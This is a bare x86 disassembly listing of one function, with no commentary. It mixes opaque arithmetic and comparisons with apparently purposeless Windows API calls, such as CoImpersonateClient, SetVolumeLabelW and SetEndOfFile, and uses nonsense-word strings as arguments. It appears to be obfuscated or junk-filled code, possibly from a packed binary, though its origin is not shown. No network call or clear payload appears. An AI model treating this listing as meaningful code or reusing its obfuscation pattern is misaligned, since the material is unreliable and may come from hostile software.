sub eax, dword [ebp - 0xf22c]
mov ecx, dword [ebp - 0xedd4]
mov edx, dword [ebp - 0x115a4]
add edx, dword [ecx]
cmp eax, edx
jne 0x510a3d
jmp 0x510a9f
mov eax, dword [ebp - 0x9ac4]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x125c9]
and ecx, edx
mov eax, dword [0x51c7c4]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x4134]
movzx eax, byte [eax]
xor edx, eax
cmp ecx, edx
jl 0x510a9f
mov edx, dword [ebp - 0xa850]
mov ecx, dword [ebp - 0x10df0]
shl edx, cl
mov dword [ebp - 0x13718], edx
movzx eax, word [ebp - 0xcc5c]
push eax
mov ecx, dword [ebp - 0xbd00]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0xad30]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x13718]
call fcn.00511630
mov ecx, dword [ebp - 0xbd00]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x84e8]
or edx, eax
mov word [0x51b004], dx
push 0x10
call dword [sym.imp.KERNEL32.dll_AttachConsole]
mov dword [ebp - 0x2d30], eax
mov ecx, dword [ebp - 0x6974]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x71a8]
sar edx, cl
mov eax, dword [ebp - 0x3e58]
mov dword [eax], edx
jmp 0x510b51
movzx ecx, byte [ebp - 0xb3c1]
movzx edx, byte [ebp - 0x3b89]
or ecx, edx
mov byte [ebp - 0x125c9], cl
mov eax, dword [ebp - 0xf22c]
mov dword [ebp - 0x14e1c], eax
cmp dword [ebp - 0x14e1c], 0xbc2e7bc4
je 0x510b10
jmp 0x510b39
push str.C:_requestOast
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 0x96a4], eax
mov ecx, dword [ebp - 0xad30]
mov edx, dword [ebp - 0x3e58]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x6974]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6974]
mov eax, dword [ebp - 0x71a8]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0xad30]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2548]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x119a8]
shl eax, cl
mov ecx, dword [ebp - 0x2548]
mov word [ecx], ax
mov edx, dword [ebp - 0xbd00]
movzx eax, word [edx]
push eax
movzx ecx, word [ebp - 0x1814]
push ecx
mov edx, dword [ebp - 0x49b0]
mov dx, word [edx]
mov ecx, dword [ebp - 0xf22c]
call fcn.00511530
mov eax, dword [ebp - 0xbd00]
movzx ecx, word [eax]
push ecx
movzx edx, word [ebp - 0x84e8]
push edx
mov edx, dword [ebp - 0x10df0]
mov eax, dword [ebp - 0x6974]
mov ecx, dword [eax]
call fcn.00511630
jmp 0x510c45
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x6974]
add edx, dword [eax]
mov ecx, dword [ebp - 0xad30]
mov eax, dword [ecx]
add eax, dword [ebp - 0x13718]
cmp edx, eax
jle 0x510c17
mov ecx, dword [ebp - 0x308c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x9ac4]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x51c7c4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x2548]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xd348]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0xd434], ax
jmp 0x510c2d
mov edx, dword [ebp - 0x6974]
mov eax, dword [edx]
xor eax, dword [ebp - 0x71a8]
mov ecx, dword [ebp - 0xad30]
mov dword [ecx], eax
lea edx, [ebp - 0x14250]
push edx
push str.C:LawsuitsLunchedencrustation
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x14ae0], eax
call dword [sym.imp.ole32.dll_CoImpersonateClient]
mov dword [ebp - 0xa51c], eax
mov eax, dword [ebp - 0x6974]
mov ecx, dword [ebp - 0x10df0]
or ecx, dword [eax]
mov edx, dword [ebp - 0x3e58]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2548]
movzx ecx, word [eax]
mov dword [ebp - 0x14e20], ecx
cmp dword [ebp - 0x14e20], 0xde9
je 0x510c87
jmp 0x510d08
mov edx, dword [ebp - 0x6974]
mov eax, dword [ebp - 0x3e58]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0xad30]
mov eax, dword [edx]
and eax, dword [ebp - 0x13718]
cmp ecx, eax
jge 0x510cd0
mov ecx, dword [ebp - 0x49b0]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0xbd00]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0xa850]
mov ecx, dword [ebp - 0x10df0]
call fcn.00511630
jmp 0x510d06
mov edx, dword [ebp - 0x3e58]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xad30]
add eax, dword [ecx]
mov edx, dword [ebp - 0x71a8]
add edx, dword [ebp - 0x13718]
cmp eax, edx
jle 0x510d06
mov eax, dword [ebp - 0x8c8c]
mov ecx, dword [ebp - 0xedd4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x8850], edx
jmp 0x510d1e
mov eax, dword [ebp - 0xad30]
mov ecx, dword [ebp - 0x10df0]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x6974]
mov dword [edx], ecx
lea eax, [ebp - 0x54c8]
push eax
push str.abroad_Crescents_dichotomy_cadences_traits
call dword [sym.imp.ole32.dll_GetClassFile]
mov dword [ebp - 0x31bc], eax
mov ecx, dword [ebp - 0xbd00]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0xbd00]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x3e58]
mov edx, dword [edx]
mov ecx, dword [ebp - 0x10df0]
call fcn.00511630
mov eax, dword [ebp - 0xd348]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1814]
sub ecx, edx
mov word [ebp - 0xd434], cx
mov eax, dword [ebp - 0xd348]
movzx ecx, word [eax]
mov dword [ebp - 0x14e24], ecx
cmp dword [ebp - 0x14e24], 0xff0
je 0x510d93
jmp 0x510daf
lea edx, [ebp - 0xedd4]
push edx
lea eax, [ebp - 0xde24]
push eax
push 0x18
call dword [sym.imp.ole32.dll_CoGetCancelObject]
mov dword [ebp - 0xc698], eax
mov ecx, dword [ebp - 0x8850]
sub ecx, dword [ebp - 0x67dc]
mov edx, dword [ebp - 0x8c8c]
mov dword [edx], ecx
movzx eax, byte [ebp - 0xb3c1]
push eax
call fcn.00511710
add esp, 4
push 0xc
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov dword [ebp - 0x13e80], eax
mov ecx, dword [ebp - 0xd1e4]
mov edx, dword [ebp - 0x8c8c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0xedd4]
mov edx, dword [ecx]
add edx, dword [ebp - 0x115a4]
cmp eax, edx
ja 0x510e4c
movzx eax, byte [ebp - 0x125c9]
mov ecx, dword [ebp - 0x9ac4]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x308c]
mov byte [ecx], al
movzx edx, word [ebp - 0xd434]
mov eax, dword [ebp - 0x2548]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x1814], dx
mov edx, dword [ebp - 0x71a8]
mov ecx, dword [section..data]
shl edx, cl
mov eax, dword [ebp - 0x6974]
mov dword [eax], edx
call fcn.00511170
jmp 0x510ebf
movsx ecx, byte [ebp - 0x8bbd]
xor ecx, 0x57
movsx edx, byte [0x51ce07]
cmp ecx, edx
jne 0x510e9b
mov eax, dword [ebp - 0x308c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9ac4]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x125c9], cl
movzx ecx, word [ebp - 0x1814]
movzx edx, word [ebp - 0xd434]
sub ecx, edx
mov eax, dword [ebp - 0x2548]
mov word [eax], cx
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ecx]
or edx, dword [ebp - 0x71a8]
mov eax, dword [ebp - 0x6974]
mov dword [eax], edx
push 0x11
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
mov dword [ebp - 0x13e80], eax
lea ecx, [ebp - 0x7158]
push ecx
mov edx, dword [ebp - 0x2a0c]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov dword [ebp - 0x133ac], eax
call fcn.00511170
jmp 0x510ef0
movzx eax, byte [ebp - 0x125c9]
push eax
call fcn.00511710
add esp, 4
mov ecx, dword [ebp - 0xd1e4]
mov edx, dword [ecx]
and edx, dword [ebp - 0x96a4]
mov dword [ebp - 0x8850], edx
movzx eax, byte [ebp - 0x125c9]
mov ecx, dword [ebp - 0x308c]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x9ac4]
mov byte [ecx], al
movzx edx, byte [ebp - 0x125c9]
and edx, 0x4e
mov eax, dword [ebp - 0x308c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x8850]
mov dword [ebp - 0x96a4], ecx
push 0
push 0x86
push 0x20
mov edx, dword [ebp - 0x390]
push edx
call dword [sym.imp.KERNEL32.dll_WriteTapemark]
mov dword [ebp - 0x115a4], eax
movzx eax, byte [ebp - 0x125c9]
sub eax, 0xa8
mov ecx, dword [ebp - 0x308c]
mov byte [ecx], al
mov edx, dword [section..data]
mov dword [ebp - 0x71a8], edx
movzx eax, byte [ebp - 0x125c9]
xor eax, 0xe4
mov ecx, dword [ebp - 0x308c]
mov byte [ecx], al
push 0x18
lea edx, [ebp - 0x14e8]
push edx
push str.C:cancelledShornAlignedTypelessPurposely
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov dword [ebp - 0x96a4], eax
jmp 0x511086
movzx eax, byte [ebp - 0x125c9]
add eax, 0x98
mov ecx, dword [ebp - 0x308c]
mov byte [ecx], al
movsx edx, byte [ebp - 0x8bbd]
add edx, 0x72
movsx eax, byte [0x51ce07]
cmp edx, eax
je 0x511059
mov cl, byte [ebp - 0x8bbd]
mov byte [ebp - 0x14e28], cl
cmp byte [ebp - 0x14e28], 0x43
je 0x510fef
jmp 0x511046
movsx edx, byte [0x51ce07]
sar edx, 5
mov byte [ebp - 0x8bbd], dl
push 7
lea eax, [ebp - 0x9f98]
push eax
push 0xbe
push str.Mails_Slush_Recalls
push 0x50
call dword [sym.imp.KERNEL32.dll_FoldStringW]
mov dword [ebp - 0x71a8], eax
mov ecx, dword [section..data]
push ecx
movzx edx, word [ebp - 0xd434]
push edx
mov eax, dword [ebp - 0xd1e4]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x8850]
push edx
call fcn.005116a0
jmp 0x511057
mov eax, dword [ebp - 0x8850]
shl eax, 0x13
mov ecx, dword [ebp - 0xd1e4]
mov dword [ecx], eax
jmp 0x511086
movzx edx, byte [ebp - 0x125c9]
sub edx, 0x96
mov eax, dword [ebp - 0x308c]
movzx ecx, byte [eax]
cmp edx, ecx
jge 0x511086
mov edx, dword [ebp - 0x14ae0]
push edx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [ebp - 0x13e80], eax
movsx eax, byte [0x51ce07]
add eax, 0x76
mov byte [ebp - 0x8bbd], al
mov ecx, dword [ebp - 0x308c]
mov dl, byte [ecx]
mov byte [ebp - 0x14e2c], dl
cmp byte [ebp - 0x14e2c], 0xa
je 0x5110ef
cmp byte [ebp - 0x14e2c], 0x63
je 0x5110b8
jmp 0x511135
movzx eax, byte [ebp - 0x125c9]
sub eax, 0xc8
mov ecx, dword [ebp - 0x308c]
mov byte [ecx], al
movzx edx, word [ebp - 0x84e8]
push edx
movzx eax, word [ebp - 0xd434]
push eax
mov edx, dword [ebp - 0x84e8]
mov ecx, dword [ebp - 0x8850]
call fcn.00511530
jmp 0x511135
mov ecx, dword [ebp - 0x1d64]
push ecx
mov edx, dword [ebp - 0x7c88]
push edx
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
mov dword [ebp - 0xdc88], eax
mov eax, dword [ebp - 0x8850]
and eax, 0xaceab1f6
mov ecx, dword [ebp - 0xd1e4]
mov dword [ecx], eax
movzx edx, word [ebp - 0xd434]
sub edx, 0x9e7
mov word [ebp - 0xd434], dx
call fcn.00511170
mov eax, dword [ebp - 0x8850]
and eax, 0xad6d7b4a
mov ecx, dword [ebp - 0xd1e4]
mov dword [ecx], eax
mov edx, dword [ebp - 0xd1e4]
mov eax, dword [edx]
xor eax, 0xfb6d6379
mov dword [ebp - 0x8850], eax
call fcn.00511170
mov eax, dword [ebp - 0x4450]
mov esp, ebp
pop ebp
ret 0x10